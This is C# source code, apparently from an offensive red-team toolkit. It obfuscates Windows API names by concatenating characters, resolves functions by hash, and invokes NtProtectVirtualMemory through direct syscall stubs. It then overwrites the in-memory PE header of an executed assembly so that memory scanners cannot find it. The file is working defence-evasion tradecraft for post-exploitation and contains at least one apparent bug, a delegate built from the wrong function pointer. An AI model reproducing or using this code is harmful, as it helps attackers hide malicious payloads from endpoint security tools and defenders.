public static void GetSystemInfo(ref SpDi.Win32.Kernel32.PE_SYSTEM_INFO info) { object[] funcargs = { info }; Generic.DynamicAPIInvoke(@"k" + "e" + "r" + "n" + "e" + "l" + "3" + "2" + "." + "d" + "l" + "l", @"Get" + "Sys" + "tem" + "In" + "fo", typeof(Delegates.GetSystemInfo), ref funcargs); info = (SpDi.Win32.Kernel32.PE_SYSTEM_INFO)funcargs[0]; }
public static int LoPEHeader() { uint oldProtect = 0; SpDi.Win32.Kernel32.PE_SYSTEM_INFO sys_info = new SpDi.Win32.Kernel32.PE_SYSTEM_INFO(); SpDi2.Win32.GetSystemInfo(ref sys_info); UIntPtr proc_min_address = sys_info.minimumApplicationAddress; UIntPtr proc_max_address = sys_info.maximumApplicationAddress; ulong proc_min_address_l = (ulong)proc_min_address; ulong proc_max_address_l = (ulong)proc_max_address; Process currentProcess = Process.GetCurrentProcess(); SpDi.Win32.WinNT.PE_MEMORY_BASIC_INFORMATION mem_basic_info = new SpDi.Win32.WinNT.PE_MEMORY_BASIC_INFORMATION(); String query = Generic.GetAPIHash("VirtualQueryEx", 0xfeedfeed); var pointer = SpDi2.Generic.GetLibraryAddress("kernel32.dll", query, 0xfeedfeed, true); var virtualQuery = Marshal.GetDelegateForFunctionPointer(pointer, typeof(SpDi2.Win32.Delegates.VirtualQueryEx)) as SpDi2.Win32.Delegates.VirtualQueryEx; //'bytesRead' was from 'sniper' scanner remove if below is removed as well uint bytesRead = 0; virtualQuery(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(SpDi.Win32.WinNT.PE_MEMORY_BASIC_INFORMATION))); //this part can be removed as it was only used to find PE header as opposed to just stomping the first 132 //resume where the 'else' block is //of course see the original code from MDSec blog if (((mem_basic_info.Protect == SpDi.Win32.WinNT.PAGE_EXECUTE_READWRITE) || (mem_basic_info.Protect == SpDi.Win32.WinNT.PAGE_EXECUTE_READ)) && mem_basic_info.State == SpDi.Win32.WinNT.PE_MEM_COMMIT) { byte[] buffer = new byte[mem_basic_info.RegionSize]; String dash = Generic.GetAPIHash("ReadProcessMemory", 0xfeedfeed); var fetch = SpDi2.Generic.GetLibraryAddress("kernel32.dll", dash, 0xfeedfeed, true); var readMem = Marshal.GetDelegateForFunctionPointer(pointer, typeof(SpDi2.Win32.Delegates.ReadProcessMemory)) as SpDi2.Win32.Delegates.ReadProcessMemory; readMem(currentProcess.Handle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionSize, ref bytesRead); IntPtr Result = _Scan(buffer, peHeader); if (Result != IntPtr.Zero) { Console.WriteLine("!!! Found PE binary in region: 0x{0}, Region Sz 0x{1}", (mem_basic_info.BaseAddress).ToString("X"), (mem_basic_info.RegionSize).ToString("X")); virtualQuery(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(SpDi.Win32.WinNT.PE_MEMORY_BASIC_INFORMATION))); Console.WriteLine("Execute-Assembly Base Address: 0x{0}", mem_basic_info.BaseAddress.ToString("X")); IntPtr pSysCall = Generic.GetSyscallStub("NtProtectVirtualMemory"); Console.WriteLine("[>] Ex-Assembly PE pSysCall : " + String.Format("{0:X}", (pSysCall).ToInt64())); Native.DELEGATES.NtProtectVirtualMemoryLoPE fSysCallNtProtectVirtualMemory = (Native.DELEGATES.NtProtectVirtualMemoryLoPE)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(Native.DELEGATES.NtProtectVirtualMemoryLoPE)); UInt32 result = fSysCallNtProtectVirtualMemory(currentProcess.Handle, ref mem_basic_info.BaseAddress, ref mem_basic_info.RegionSize, 0x04, ref oldProtect); Console.WriteLine("[?] Ex-Assembly PE NtProtectVirtualMemory : " + String.Format("{0:X}", result)); //bool earesult = SpDi2.Win32.VirtualProtect((IntPtr)mem_basic_info.BaseAddress, (UIntPtr)4096, (uint)SpDi.Win32.Kernel32.MemoryProtectionConsts.READWRITE, ref oldProtect); String eafill = Generic.GetAPIHash("RtlFillMemory", 0xfeedfeed); IntPtr eapFunction = Generic.GetLibraryAddress(@"ntdll.dll", eafill, 0xfeedfeed, true); Native.DELEGATES.RtlFillMemory eafillMem = (Native.DELEGATES.RtlFillMemory)Marshal.GetDelegateForFunctionPointer(eapFunction, typeof(Native.DELEGATES.RtlFillMemory)); eafillMem((IntPtr)mem_basic_info.BaseAddress, 132, 0); Console.WriteLine("Execute-Assembly PE Header overwritten at 0x{0}", mem_basic_info.BaseAddress.ToString("X")); } } else { proc_min_address_l += mem_basic_info.RegionSize; proc_min_address = new UIntPtr(proc_min_address_l); virtualQuery(currentProcess.Handle, proc_min_address, out mem_basic_info, Marshal.SizeOf(typeof(SpDi.Win32.WinNT.PE_MEMORY_BASIC_INFORMATION))); Console.WriteLine("Base Address: 0x{0}", mem_basic_info.BaseAddress.ToString("X")); IntPtr pSysCall = Generic.GetSyscallStub("NtProtectVirtualMemory"); Console.WriteLine("[>] PE pSysCall : " + String.Format("{0:X}", (pSysCall).ToInt64())); Native.DELEGATES.NtProtectVirtualMemoryLoPE fSysCallNtProtectVirtualMemory = (Native.DELEGATES.NtProtectVirtualMemoryLoPE)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(Native.DELEGATES.NtProtectVirtualMemoryLoPE)); UInt32 result = fSysCallNtProtectVirtualMemory(currentProcess.Handle, ref mem_basic_info.BaseAddress, ref mem_basic_info.RegionSize, 0x04, ref oldProtect); Console.WriteLine("[?] PE NtProtectVirtualMemory : " + String.Format("{0:X}", result)); //bool result = SpDi2.Win32.VirtualProtect((IntPtr)mem_basic_info.BaseAddress, (UIntPtr)4096, (uint)SpDi.Win32.Kernel32.MemoryProtectionConsts.READWRITE, ref oldProtect); String fill = Generic.GetAPIHash("RtlFillMemory", 0xfeedfeed); IntPtr pFunction = Generic.GetLibraryAddress(@"ntdll.dll", fill, 0xfeedfeed, true); Native.DELEGATES.RtlFillMemory fillMem = (Native.DELEGATES.RtlFillMemory)Marshal.GetDelegateForFunctionPointer(pFunction, typeof(Native.DELEGATES.RtlFillMemory)); fillMem((IntPtr)mem_basic_info.BaseAddress, 132, 0); Console.WriteLine("PE Header overwritten at 0x{0}", mem_basic_info.BaseAddress.ToString("X")); } return(0); }